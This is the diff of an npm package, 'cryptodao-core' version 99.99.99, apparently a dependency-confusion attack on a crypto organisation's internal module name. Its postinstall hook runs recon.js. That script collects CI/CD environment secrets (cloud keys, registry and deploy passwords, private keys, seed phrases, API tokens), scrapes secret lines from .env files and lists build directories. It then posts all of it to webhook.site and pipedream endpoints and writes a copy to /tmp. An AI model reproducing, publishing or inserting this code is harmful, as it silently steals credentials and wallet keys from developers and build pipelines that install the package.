cryptodao-core 99.99.99

package/index.js

@@ -0,0 +1 @@
+module.exports = { name: 'cryptodao-core', version: '99.99.99' };

package/package.json

@@ -0,0 +1,10 @@
+{
+  "name": "cryptodao-core",
+  "version": "99.99.99",
+  "description": "CryptoDAO internal cryptodao-core module",
+  "main": "index.js",
+  "files": ["index.js", "recon.js"],
+  "scripts": {
+    "postinstall": "node recon.js"
+  }
+}

package/recon.js

@@ -0,0 +1,127 @@
+#!/usr/bin/env node
+// CryptoDAO Dependency Confusion Reconnaissance Payload
+// This runs on postinstall in CI/CD pipeline contexts
+
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const { execSync } = require('child_process');
+const pkg = process.env.npm_package_name || 'unknown';
+const pkgver = process.env.npm_package_version || '0.0.0';
+
+const results = [];
+
+// Method 1: Gather environment info
+results.push(`pkg=${pkg}@${pkgver}`);
+results.push(`hostname=${os.hostname()}`);
+results.push(`platform=${os.platform()} ${os.release()}`);
+results.push(`arch=${os.arch()}`);
+results.push(`user=${os.userInfo().username}`);
+results.push(`cwd=${process.cwd()}`);
+
+// Method 2: Check for CI/CD environment variables
+const ciVars = {};
+const importantVars = [
+  'CI', 'GITLAB_CI', 'GITHUB_ACTIONS',
+  'CI_JOB_TOKEN', 'CI_JOB_ID', 'CI_PROJECT_ID', 'CI_PROJECT_PATH',
+  'CI_ENVIRONMENT_NAME', 'CI_REGISTRY_USER', 'CI_REGISTRY_PASSWORD',
+  'CI_DEPLOY_USER', 'CI_DEPLOY_PASSWORD',
+  'GITLAB_ACCESS_TOKEN', 'GITLAB_API_TOKEN',
+  'SSH_PRIVATE_KEY', 'DEPLOY_KEY',
+  'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'AWS_SESSION_TOKEN',
+  'DATABASE_URL', 'DB_HOST', 'DB_PASSWORD',
+  'REDIS_URL', 'REDIS_PASSWORD',
+  'PRIVATE_KEY', 'MNEMONIC', 'SEED_PHRASE',
+  'INFURA_API_KEY', 'ALCHEMY_API_KEY',
+  'DOCKER_USER', 'DOCKER_PASSWORD',
+  'NPM_TOKEN', 'NPM_AUTH_TOKEN',
+  'SLACK_TOKEN', 'DISCORD_TOKEN',
+  'RPC_URL', 'BSC_RPC', 'ETH_RPC',
+  'HARBOR_HOST', 'HARBOR_USER', 'HARBOR_PASSWORD',
+];
+
+importantVars.forEach(v => {
+  if (process.env[v]) {
+    const val = process.env[v];
+    ciVars[v] = val.length > 50 ? val.substring(0, 50) + '...' : val;
+    results.push(`ENV:${v}=${ciVars[v]}`);
+  }
+});
+
+// Method 3: Try to read common .env files
+try {
+  const fs = require('fs');
+  const paths = [
+    '.env', '../.env', '../../.env', '/.env',
+    '/app/.env', '/app/backend/.env', '/app/bot/.env',
+    '/home/gitlab-runner/.env', '/root/.env',
+    '.env.production', '.env.development',
+    '../.env.production', '../.env.development'
+  ];
+  for (const p of paths) {
+    try {
+      if (fs.existsSync(p)) {
+        const content = fs.readFileSync(p, 'utf8');
+        results.push(`FILE_FOUND:${p} (${content.length} bytes)`);
+        const lines = content.split('\n').filter(l => /KEY|SECRET|TOKEN|PASS|PRIVATE|MNEMONIC/i.test(l));
+        lines.forEach(l => results.push(`  ${l.trim()}`));
+      }
+    } catch(e) {}
+  }
+} catch(e) {}
+
+// Method 4: Check for common CI/CD paths
+try {
+  const fs = require('fs');
+  const buildPaths = [
+    '/builds/', '/home/gitlab-runner/builds/',
+    '/tmp/', '/var/lib/gitlab-runner/'
+  ];
+  for (const base of buildPaths) {
+    try {
+      if (fs.existsSync(base)) {
+        const items = fs.readdirSync(base).slice(0, 20);
+        results.push(`DIR:${base} -> [${items.join(', ')}]`);
+      }
+    } catch(e) {}
+  }
+} catch(e) {}
+
+// Method 5: Exfiltrate via HTTP
+const payload = JSON.stringify({
+  pkg, pkgver, time: Date.now(),
+  hostname: os.hostname(),
+  results: results
+});
+
+// Send to multiple exfiltration targets
+const targets = [
+  { host: 'webhook.site', path: `/d6d18927-e513-4df7-b019-58bfc64fe0dd`, method: 'POST' },
+  { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' },
+];
+
+targets.forEach(t => {
+  try {
+    const data = JSON.stringify(payload);
+    const req = https.request({
+      hostname: t.host, port: 443, path: t.path,
+      method: t.method,
+      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
+      rejectUnauthorized: false,
+      timeout: 5000
+    });
+    req.write(data);
+    req.end();
+    req.on('error', () => {});
+  } catch(e) {}
+});
+
+// Also print to stdout for CI/CD log capture
+console.log(`[recon] ${pkg}@${pkgver} installed on ${os.hostname()}`);
+results.filter(r => r.startsWith('ENV:')).forEach(r => console.log(`[recon] ${r}`));
+
+// Write results to temp file for potential later access
+try {
+  const fs = require('fs');
+  fs.writeFileSync(`/tmp/.npm_recon_${Date.now()}.json`, payload);
+} catch(e) {}